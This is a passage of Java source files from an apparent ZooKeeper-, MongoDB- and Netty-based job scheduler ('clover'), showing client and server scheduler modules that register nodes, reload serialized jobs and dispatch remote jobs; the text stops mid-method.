    "path": "clover/clover-core/src/main/java/com/gome/clover/core/module/AbstractModuleScheduler.java",
    "content": "package com.gome.clover.core.module;\r\n\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.systeminfo.SystemInfoUtil;\r\nimport com.gome.clover.common.tools.*;\r\nimport com.gome.clover.common.zk.ClientDict;\r\nimport com.gome.clover.common.zk.ServerDict;\r\nimport com.gome.clover.common.zk.ZKUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.scheduler.MyScheduler;\r\nimport com.mongodb.*;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport org.apache.zookeeper.CreateMode;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.List;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Abstract Module Scheduler\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic abstract class AbstractModuleScheduler {\r\n    private Logger logger = LoggerFactory.getLogger(AbstractModuleScheduler.class);\r\n    protected static MyScheduler scheduler = MyScheduler.INSTANCE;\r\n\r\n    public void registerToZK(String moduleType, String ip, List<String> jobClassList, String port, String systemId) {\r\n        try {\r\n            if (CommonConstants.MODULE_TYPE_SERVER.equals(moduleType)) {//服务端\r\n                String serverId = IpUtil.getLocalName() + \"@\" + ip + \"@\" + systemId + \"@\" + DateUtil.currentDateTime();\r\n                BasicDBObject serverNode = new BasicDBObject();\r\n                serverNode.append(CommonConstants.ID, serverId);\r\n                serverNode.append(CommonConstants.PORT, port);\r\n                serverNode.append(CommonConstants.IP, ip);\r\n                serverNode.append(CommonConstants.TS, DateUtil.currentDateTime());\r\n                serverNode.append(CommonConstants.MEM_RATIO,SystemInfoUtil.getMemRatio());\r\n                serverNode.append(CommonConstants.CPU_RATIO,SystemInfoUtil.getCpuRatio());\r\n                serverNode.append(CommonConstants.TOTAL_THREAD,SystemInfoUtil.getTotalThread());\r\n                ZKUtil.setPath(ClientDict.self.getZK(), CommonConstants.ZK_ROOT_PATH + \"/\" + moduleType + \"/\" + serverId, serverNode.toString(), CreateMode.EPHEMERAL);\r\n            } else if (CommonConstants.MODULE_TYPE_CLIENT.equals(moduleType)) {//客户端\r\n                if ((jobClassList == null) || (jobClassList.size() == 0)) {\r\n                    return;\r\n                }\r\n                BasicDBList jobClass = new BasicDBList();\r\n                jobClass.addAll(jobClassList);\r\n                String clientId = IpUtil.getLocalName() + \"@\" + ip + \"@\" + systemId + \"@\"+ DateUtil.currentDateTime();\r\n                BasicDBObject clientNode = new BasicDBObject();\r\n                clientNode.append(CommonConstants.ID, clientId);\r\n                clientNode.append(CommonConstants.JOB_CLASS, jobClass);\r\n                clientNode.append(CommonConstants.PORT, port);\r\n                clientNode.append(CommonConstants.IP, ip);\r\n                clientNode.append(CommonConstants.TS, DateUtil.currentDateTime());\r\n                clientNode.append(CommonConstants.MEM_RATIO,SystemInfoUtil.getMemRatio());\r\n                clientNode.append(CommonConstants.CPU_RATIO,SystemInfoUtil.getCpuRatio());\r\n                clientNode.append(CommonConstants.TOTAL_THREAD,SystemInfoUtil.getTotalThread());\r\n                ZKUtil.setPath(ServerDict.self.getZK(), CommonConstants.ZK_ROOT_PATH + \"/\" + moduleType + \"/\" + clientId,\r\n                        clientNode.toString(), CreateMode.EPHEMERAL);\r\n            }\r\n\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"AbstractModuleScheduler-->>registerToZK(\" + moduleType + \",\" + ip + \")\", e);\r\n            String execMethod = \"AbstractModuleScheduler-->>registerToZK(\" + moduleType + \",\" + ip + \")\";\r\n            String execResult = \"AbstractModuleScheduler-->>registerToZK(\" + moduleType + \",\" + ip + \") error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n        }\r\n    }\r\n\r\n    public void reloadJobFromDB(String moduleType, String ip) {\r\n        if (CommonConstants.MODULE_TYPE_SERVER.equals(moduleType)) {//服务端\r\n            try {\r\n                DBCollection dbCollection = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_JOB);\r\n                DBObject condition = new BasicDBObject();\r\n                if (!StringUtil.isEmpty(ip)) condition.put(DBTableInfo.COL_SERVER_IP, ip);\r\n                condition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_REMOTE);\r\n                DBCursor cursorDocMap = dbCollection.find(condition);\r\n                while (cursorDocMap.hasNext()) {\r\n                    ClientJob clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64((String) cursorDocMap.next()\r\n                            .get(DBTableInfo.COL_JOB_INFO)));\r\n                    scheduler.add(clientJob);\r\n                }\r\n                //恢复clover_job_temp表中数据\r\n                dbCollection = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_JOB_TEMP);\r\n                cursorDocMap = dbCollection.find();\r\n                while (cursorDocMap.hasNext()) {\r\n                    DBObject tempDBObject = cursorDocMap.next();\r\n                    ClientJob clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64((String)\r\n                            tempDBObject.get(DBTableInfo.COL_JOB_INFO)));\r\n                    DBObject retObj = MongoDBUtil.INSTANCE.findOneByCondition(BuildMongoDBData.getDBObjectFromClientJob(clientJob),\r\n                            DBTableInfo.TBL_CLOVER_JOB);\r\n                    if (null == retObj) {\r\n                        scheduler.add(clientJob);\r\n                        MongoDBUtil.INSTANCE.insertOrUpdate(BuildMongoDBData.getInsertJobBasicDBObject(clientJob),\r\n                                DBTableInfo.TBL_CLOVER_JOB);\r\n                        dbCollection.remove(new BasicDBObject(DBTableInfo.COL_ID, tempDBObject.get(DBTableInfo.COL_ID)));//delete\r\n                    }\r\n                }\r\n            } catch (Exception e) {\r\n                logger.error(\"ModuleSchedulerServer-->>reloadJobFromDB(\" + moduleType + \",\" + ip + \") error\", e);\r\n                String execMethod = \"ModuleSchedulerServer-->>reloadJobFromDB(\" + moduleType + \",\" + ip + \")\";\r\n                String execResult = \"ModuleSchedulerServer-->>reloadJobFromDB(\" + moduleType + \",\" + ip + \") error ,\" + e.getMessage();\r\n                MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                        execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            }\r\n\r\n        } else if (CommonConstants.MODULE_TYPE_CLIENT.equals(moduleType)) {//客户端\r\n            try {\r\n                DBCollection dbCollection = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_JOB);\r\n                DBObject condition = new BasicDBObject();\r\n                condition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_LOCAL);\r\n                condition.put(DBTableInfo.COL_CLIENT_IP, ip);\r\n                DBCursor cursorDocMap = dbCollection.find(condition);\r\n                while (cursorDocMap.hasNext()) {\r\n                    ClientJob clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64((String) cursorDocMap.next()\r\n                            .get(DBTableInfo.COL_JOB_INFO)));\r\n                    scheduler.add(clientJob);\r\n                }\r\n            } catch (Exception e) {\r\n                logger.error(\"ModuleSchedulerClient-->>reloadJobFromDB(\" + ip + \") error\", e);\r\n                String execMethod = \"ModuleSchedulerServer-->>reloadJobFromDB(\" + ip + \")\";\r\n                String execResult = \"ModuleSchedulerServer-->>reloadJobFromDB(\" + ip + \") error ,\" + e.getMessage();\r\n                MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                        execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            }\r\n        }\r\n    }\r\n\r\n    public void resetJobExecuteTime(String clientIp,String serverIp){\r\n        BasicDBObject queryCondition = new BasicDBObject();\r\n        if(!StringUtil.isEmpty(clientIp)) queryCondition.append(DBTableInfo.COL_CLIENT_IP,IpUtil.getLocalIP());\r\n        if(!StringUtil.isEmpty(serverIp)) queryCondition.append(DBTableInfo.COL_SERVER_IP,IpUtil.getLocalIP());\r\n        BasicDBObject updateCondition = new BasicDBObject();\r\n        updateCondition.append(DBTableInfo.COL_EXECUTE_START_TIME,\"\");\r\n        updateCondition.append(DBTableInfo.COL_EXECUTE_END_TIME,\"\");\r\n        MongoDBUtil.update(queryCondition,updateCondition,DBTableInfo.TBL_CLOVER_JOB);\r\n    }\r\n\r\n    public void resetFailTimes(String clientIp,String serverIp){\r\n        BasicDBObject queryCondition = new BasicDBObject();\r\n        if(!StringUtil.isEmpty(clientIp)) queryCondition.append(DBTableInfo.COL_CLIENT_IP,IpUtil.getLocalIP());\r\n        if(!StringUtil.isEmpty(serverIp)) queryCondition.append(DBTableInfo.COL_SERVER_IP,IpUtil.getLocalIP());\r\n        queryCondition.append(DBTableInfo.COL_FAIL_TIMES,new BasicDBObject(\"$gt\", 0));\r\n        DBCollection dbCollection = MongoDBUtil.getCollection(DBTableInfo.TBL_CLOVER_JOB);\r\n        DBCursor cursorDocMap = dbCollection.find(queryCondition);\r\n        while (cursorDocMap.hasNext()){\r\n            BasicDBObject updateCondition = new BasicDBObject();\r\n            updateCondition.append(DBTableInfo.COL_FAIL_TIMES,0);\r\n            MongoDBUtil.update(new BasicDBObject(DBTableInfo.COL_ID,cursorDocMap.next().get(DBTableInfo.COL_ID)),updateCondition,DBTableInfo.TBL_CLOVER_JOB);\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/core/module/ModuleSchedulerClient.java",
    "content": "package com.gome.clover.core.module;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.netty.client.ObjectReqClient;\r\nimport com.gome.clover.common.netty.server.ObjectRespServer;\r\nimport com.gome.clover.common.tools.*;\r\n\r\nimport com.gome.clover.common.zeromq.ZeroMQEntity;\r\nimport com.gome.clover.common.zk.ServerDict;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.MyJobListener;\r\nimport com.gome.clover.core.job.ServerJob;\r\nimport com.gome.clover.core.job.ServerJobFactory;\r\nimport com.gome.clover.core.monitor.client.ClientHeartBeat;\r\nimport com.mongodb.BasicDBObject;\r\nimport com.mongodb.DBObject;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.LinkedList;\r\nimport java.util.List;\r\nimport java.util.Map;\r\nimport static org.quartz.JobBuilder.*;\r\nimport static org.quartz.TriggerBuilder.*;\r\nimport static org.quartz.SimpleScheduleBuilder.*;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Module Scheduler Client\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class ModuleSchedulerClient extends AbstractModuleScheduler {\r\n    private static final Logger logger = LoggerFactory.getLogger(ModuleSchedulerClient.class);\r\n    private volatile static ModuleSchedulerClient moduleSchedulerClient = null;\r\n    private List<ClientJob> defaultJobs = new LinkedList();\r\n\r\n    private ModuleSchedulerClient() {\r\n        scheduler.start();\r\n    }\r\n\r\n    public static ModuleSchedulerClient getInstance() {\r\n        synchronized (ModuleSchedulerClient.class) {\r\n            if (null == moduleSchedulerClient) {\r\n                moduleSchedulerClient = new ModuleSchedulerClient();\r\n            }\r\n        }\r\n        return moduleSchedulerClient;\r\n    }\r\n\r\n    /**\r\n     * 启动 Client端服务\r\n     *\r\n     * @param jobClassList   注册job class到zk(默认启动)\r\n     * @param isRegisterToZK 是否启动注册到zk服务(默认启动)\r\n     * @param isStartupNetty    是否启动Netty服务(默认启动)\r\n     * @param port           MQ服务启动端口号\r\n     * @param token          token验证码\r\n     * @return true:成功;false:失败\r\n     */\r\n    public boolean startup(List<String> jobClassList, boolean isRegisterToZK, boolean isStartupNetty, String port,\r\n                           String systemId, String token) {\r\n        if (!StringUtil.isEmpty(token) && CommonConstants.token.equals(token)) {\r\n            if (StringUtil.isEmpty(systemId))\r\n                throw new RuntimeException(\"ModuleSchedulerClient-->>startup(\" + JSON.toJSONString(jobClassList) + \",\" + isRegisterToZK + \",\" + isStartupNetty + \") systemId null \");\r\n            try {\r\n                scheduler.start(); //start scheduler\r\n                String clientIP = IpUtil.getLocalIP();\r\n                if (StringUtil.isEmpty(port) || (!StringUtil.isEmpty(port) && \"-1\".equals(port)))\r\n                    port =RandomNumUtil.getNextIntString();//String.valueOf(NetUtils.getAvailablePort(1025));\r\n                if (isRegisterToZK) {\r\n                    registerToZK(CommonConstants.MODULE_TYPE_CLIENT, clientIP, jobClassList, port, systemId);\r\n                }\r\n                if (isStartupNetty) {\r\n                   // AsyncStartZeroMQ.startup(port);\r\n                   // new ObjectRespServer().start(CommonConstants.NETTY_SERVER_PORT);//.bind(Integer.valueOf(CommonConstants.NETTY_SERVER_PORT));\r\n                    new ObjectRespServer().bind(CommonConstants.NETTY_SERVER_PORT);\r\n                }\r\n                reloadJobFromDB(CommonConstants.MODULE_TYPE_CLIENT, clientIP);\r\n                addDefaultJob();\r\n                //resetJobExecuteTime(clientIP,null);\r\n                resetFailTimes(clientIP, null);\r\n                ClientHeartBeat.INSTNACE.startup();\r\n                System.err.println(\"ModuleSchedulerClient-->>startup(\" + JSON.toJSONString(jobClassList) + \",\" + isRegisterToZK + \",\" + isStartupNetty + \") ....\");\r\n                return true;\r\n            } catch (Exception e) {\r\n                logger.error(\"ModuleSchedulerClient-->>startup(\" + JSON.toJSONString(jobClassList) + \",\" + isRegisterToZK + \",\" + isStartupNetty + \") error\", e);\r\n                String execMethod = \"ModuleSchedulerClient-->>startup(\" + JSON.toJSONString(jobClassList) + \",\" + isRegisterToZK + \",\" + isStartupNetty + \") error\";\r\n                String execResult = \"ModuleSchedulerClient-->>startup(\" + JSON.toJSONString(jobClassList) + \",\" + isRegisterToZK + \",\" + isStartupNetty + \") error ,\" + e.getMessage();\r\n                MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                        execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n                throw new RuntimeException(e);\r\n            }\r\n        } else if (!StringUtil.isEmpty(token) && !CommonConstants.token.equals(token)) {\r\n            logger.error(\"ModuleSchedulerClient-->>startup(\" + JSON.toJSONString(jobClassList) + \",\" + isRegisterToZK + \",\" + isStartupNetty + \") token wrong\");\r\n            throw new RuntimeException(\"ModuleSchedulerClient-->>startup(\" + JSON.toJSONString(jobClassList) + \",\" + isRegisterToZK + \",\" + isStartupNetty + \") token wrong\");\r\n        } else if (StringUtil.isEmpty(token)) {\r\n            logger.error(\"ModuleSchedulerClient-->>startup(\" + JSON.toJSONString(jobClassList) + \",\" + isRegisterToZK + \",\" + isStartupNetty + \") token null\");\r\n            throw new RuntimeException(\"ModuleSchedulerClient-->>startup(\" + JSON.toJSONString(jobClassList) + \",\" + isRegisterToZK + \",\" + isStartupNetty + \") token null\");\r\n        }\r\n        return false;\r\n    }\r\n\r\n    public boolean startupForLocalJobTest() {\r\n        try {\r\n            scheduler.start(); //start scheduler\r\n            return true;\r\n        } catch (Exception e) {\r\n            logger.error(\"ModuleSchedulerClient-->>startupForLocalJobTest() error\", e);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    public void addDefaultJob() {\r\n        for (ClientJob clientJob : defaultJobs) {\r\n            handlerJob(clientJob);\r\n        }\r\n    }\r\n\r\n    public boolean stop() {\r\n        scheduler.stop();\r\n        return true;\r\n    }\r\n\r\n    public boolean handlerJob(ClientJob clientJob) {\r\n        if (clientJob == null)\r\n            return false;\r\n        clientJob.setClientIp(IpUtil.getLocalIP());\r\n        clientJob.setJobClassName(clientJob.getJobClass().getName());\r\n        String[] fixedClientIps = clientJob.getFixedClientIps();\r\n        if (fixedClientIps != null && fixedClientIps.length > 0) {\r\n            return isContainLocalIp(fixedClientIps) && handlerJobType(clientJob);\r\n        } else {\r\n            return handlerJobType(clientJob);\r\n        }\r\n    }\r\n\r\n    private boolean handlerJobType(ClientJob clientJob) {\r\n        switch (clientJob.getJobType()) {\r\n            case LOCAL:\r\n                return handlerLocalJob(clientJob);\r\n            case REMOTE:\r\n                return handlerRemoteJob(clientJob);\r\n            default:\r\n                logger.error(\"ModuleSchedulerClient-->>handlerJobType(\" + clientJob.toString() + \") NOT LOCAL|REMOTE, jobType is \" + clientJob.getJobType());\r\n                return false;\r\n        }\r\n    }\r\n\r\n    private boolean handlerLocalJob(ClientJob clientJob) {\r\n        if (null == clientJob) {\r\n            assert clientJob != null;\r\n            logger.error(\"ModuleSchedulerClient-->>handlerLocalJob(\" + clientJob.toString() + \") clientJob null \");\r\n            return false;\r\n        }\r\n        switch (clientJob.getExecuteType()) {\r\n            case ADD:\r\n                return addLocalJob(clientJob);\r\n            case DELETE:\r\n                return deleteLocalJob(clientJob);\r\n            case UPDATE:\r\n                return updateLocalJob(clientJob);\r\n            default:\r\n                logger.error(\"ModuleSchedulerClient-->>handlerLocalJob(\" + clientJob.toString() + \") NOT ADD|DELETE|UPDATE, executeType is \" + clientJob.getExecuteType());\r\n                return false;\r\n        }\r\n    }\r\n\r\n    private boolean addLocalJob(ClientJob clientJob) {\r\n        try {\r\n            if (!scheduler.add(clientJob)) return false;\r\n            scheduler.addJobListener(new MyJobListener(), clientJob);\r\n            if (clientJob.isRecoverJobFromDB()) {\r\n                return MongoDBUtil.INSTANCE.insertOrUpdate(BuildMongoDBData.getInsertJobBasicDBObject(clientJob),\r\n                        DBTableInfo.TBL_CLOVER_JOB);\r\n            }\r\n        } catch (Exception e) {\r\n            logger.error(\"ModuleSchedulerClient-->>addLocalJob(\" + clientJob.toString() + \") error\", e);\r\n            String execMethod = \"ModuleSchedulerClient-->>addLocalJob(\" + clientJob.toString() + \")\";\r\n            String execResult = \"ModuleSchedulerClient-->>addLocalJob(\" + clientJob.toString() + \") error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n        return true;\r\n    }\r\n\r\n    private boolean deleteLocalJob(ClientJob clientJob) {\r\n        try {\r\n            if (!scheduler.delete(clientJob)) return false;\r\n            BasicDBObject condition = BuildMongoDBData.getDeleteJobBasicDBObject(clientJob);\r\n            if (clientJob.isRecoverJobFromDB()) {\r\n                if (!MongoDBUtil.INSTANCE.delete(condition, DBTableInfo.TBL_CLOVER_JOB)) return false;\r\n            }\r\n        } catch (Exception e) {\r\n            logger.error(\"ModuleSchedulerClient-->>deleteLocalJob(\" + clientJob.toString() + \") error\", e);\r\n            String execMethod = \"ModuleSchedulerClient-->>deleteLocalJob(\" + clientJob.toString() + \") error\";\r\n            String execResult = \"ModuleSchedulerClient-->>deleteLocalJob(\" + clientJob.toString() + \") error,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n        return true;\r\n    }\r\n\r\n    private boolean updateLocalJob(ClientJob clientJob) {\r\n        try {\r\n            return deleteLocalJob(clientJob) && addLocalJob(clientJob);\r\n        } catch (Exception e) {\r\n            logger.error(\"ModuleSchedulerClient-->>updateLocalJob(\" + clientJob.toString() + \") error\", e);\r\n            String execMethod = \"ModuleSchedulerClient-->>reloadJobFromDB(\" + clientJob.toString() + \")\";\r\n            String execResult = \"ModuleSchedulerClient-->>reloadJobFromDB(\" + clientJob.toString() + \") error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    private boolean handlerRemoteJob(ClientJob clientJob) {\r\n        try {\r\n            ServerJob serverJob = ServerJobFactory.createControlJob(clientJob);\r\n            DBObject retObj = MongoDBUtil.INSTANCE.findOneByCondition(BuildMongoDBData.getDBObjectFromClientJob(serverJob),\r\n                    DBTableInfo.TBL_CLOVER_JOB);\r\n            if (null != retObj) return false;\r\n            String[] fixedServerIps = clientJob.getFixedServerIps();\r\n            BasicDBObject serverInfo = null;\r\n            Map retMap = null;\r\n            if (fixedServerIps != null && fixedServerIps.length > 0) {\r\n                retMap = ServerDict.self.hashServer4SByFixedServerIps(fixedServerIps);\r\n                serverInfo = (BasicDBObject) retMap.get(CommonConstants.SERVER_JOB_INFO);\r\n            } else {\r\n                if (CommonConstants.SERVER_JOB_STRATEGY.equalsIgnoreCase(ClientJob.JobStrategy.HASH.name())) {\r\n                    retMap = ServerDict.self.hashServer4S(null);\r\n                    serverInfo = (BasicDBObject) retMap.get(CommonConstants.SERVER_JOB_INFO);\r\n                } else if (CommonConstants.SERVER_JOB_STRATEGY.equalsIgnoreCase(ClientJob.JobStrategy.SYSTEM_CAPACITY.name())) {\r\n                    retMap = ServerDict.self.hashServer4SBySystemCapacity();\r\n                    serverInfo = (BasicDBObject) retMap.get(CommonConstants.SERVER_JOB_INFO);\r\n                }\r\n            }\r\n            if ((Boolean) retMap.get(CommonConstants.SUCCESS) && null != serverInfo) {//双重判断，保证获取的serverInfo是存在的\r\n                String ip = (String) serverInfo.get(CommonConstants.IP);\r\n                int port = CommonConstants.NETTY_SERVER_PORT;\r\n                 /*发送zero mq消息队列方式 开始*/\r\n                // String addr = \"tcp://\" + ip + \":\" + port;\r\n                // ZeroMQEntity zeroMQEntity = new ZeroMQEntity(CommonConstants.MODULE_TYPE_SERVER,ip, Base64.encodeBase64String(ClassUtil.ObjectToBytes(serverJob)));\r\n                //ZeroMQPush.INSTANCE.send(addr, JSON.toJSONString(zeroMQEntity));\r\n                //AsyncSendMsg.sendWithClientThreadPool(ip, port, JSON.toJSONString(zeroMQEntity));\r\n                /*发送zero mq消息队列方式 结束*/\r\n                new ObjectReqClient().connect(port,ip, new ZeroMQEntity(CommonConstants.MODULE_TYPE_SERVER,\r\n                        ip, Base64.encodeBase64String(ClassUtil.ObjectToBytes(serverJob))));   \r\n                return true;\r\n            } else { //报警通知\r\n                String errorCode = (String) retMap.get(CommonConstants.ERROR_CODE);\r\n                String msg = null;\r\n                if (CommonConstants.ERROR_CODE_101.equals(errorCode)) {\r\n                    msg = \"ModuleSchedulerClient-->>handlerRemoteJob(\" + clientJob.toString() + \")  serverInfo null\";\r\n                } else if (CommonConstants.ERROR_CODE_102.equals(errorCode)) {\r\n                    msg = \"ModuleSchedulerClient-->>handlerRemoteJob(\" + clientJob.toString() + \") the memRatio(\"\r\n                            + retMap.get(CommonConstants.MEM_RATIO) + \") over max mem ratio  \"+\r\n                      \" or the cpuRatio(\"+retMap.get(CommonConstants.CPU_RATIO)+\") over max cpu ratio(\"+CommonConstants.MAX_CPU_RATIO+\") \";\r\n                } else if (CommonConstants.ERROR_CODE_102.equals(errorCode)) {\r\n                    msg = \"ModuleSchedulerClient-->>handlerRemoteJob(\" + clientJob.toString() + \") errorCode is \" + errorCode;\r\n                }\r\n                //记录数到MongoDB中，server重启后灾难恢复\r\n                BuildMongoDBData.saveTempJobData2DB(serverJob);\r\n                //情况很严重 需要报警来解决问题\r\n                SendMailUtil.sendDefaultMail(msg, msg);\r\n                logger.error(msg);\r\n                return false;\r\n            }\r\n\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"ModuleSchedulerClient-->>handlerRemoteJob(\" + clientJob.toString() + \")\", e);\r\n            String execMethod = \"ModuleSchedulerClient-->>handlerRemoteJob(\" + clientJob.toString() + \")\";\r\n            String execResult = \"ModuleSchedulerClient-->>handlerRemoteJob(\" + clientJob.toString() + \") error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n\r\n    private boolean isContainLocalIp(String ips[]) {\r\n        for (String ip : ips)\r\n            if (ip.equals(IpUtil.getLocalIP()))\r\n                return true;\r\n        return false;\r\n    }\r\n\r\n    private boolean isContainFixedIp(String ip, String fixedIps[]) {\r\n        for (String fixedIp : fixedIps)\r\n            if (ip.equals(fixedIp))\r\n                return true;\r\n        return false;\r\n    }\r\n\r\n\r\n    public List<ClientJob> getDefaultJobs() {\r\n        return defaultJobs;\r\n    }\r\n\r\n    public void setDefaultJobs(List<ClientJob> defaultJobs) {\r\n        this.defaultJobs = defaultJobs;\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/core/module/ModuleSchedulerServer.java",
    "content": "package com.gome.clover.core.module;\r\n\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.netty.server.ObjectRespServer;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.common.tools.PropertiesUtil;\r\nimport com.gome.clover.common.tools.StringUtil;\r\n\r\nimport com.gome.clover.common.zk.ZKManager;\r\nimport com.gome.clover.core.job.ServerJob;\r\nimport com.mongodb.BasicDBObject;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.List;\r\nimport static org.quartz.JobBuilder.*;\r\nimport static org.quartz.TriggerBuilder.*;\r\nimport static org.quartz.SimpleScheduleBuilder.*;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Module Scheduler Server\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class ModuleSchedulerServer extends AbstractModuleScheduler {\r\n    private static final Logger logger = LoggerFactory.getLogger(ModuleSchedulerServer.class);\r\n    private volatile static ModuleSchedulerServer moduleSchedulerServer;\r\n\r\n    private ModuleSchedulerServer() {\r\n    }\r\n\r\n    public static ModuleSchedulerServer getInstance() {\r\n        synchronized (ModuleSchedulerClient.class) {\r\n            if (null == moduleSchedulerServer) {\r\n                moduleSchedulerServer = new ModuleSchedulerServer();\r\n            }\r\n        }\r\n        return moduleSchedulerServer;\r\n    }\r\n\r\n    public boolean handlerJob(ServerJob serverJob) {\r\n        if (serverJob == null)\r\n            return false;\r\n        serverJob.setServerIp(IpUtil.getLocalIP());\r\n        logger.error(\"handlerJob >>> getExecuteType :::\"+serverJob.getExecuteType());\r\n        switch (serverJob.getExecuteType()) {\r\n            case 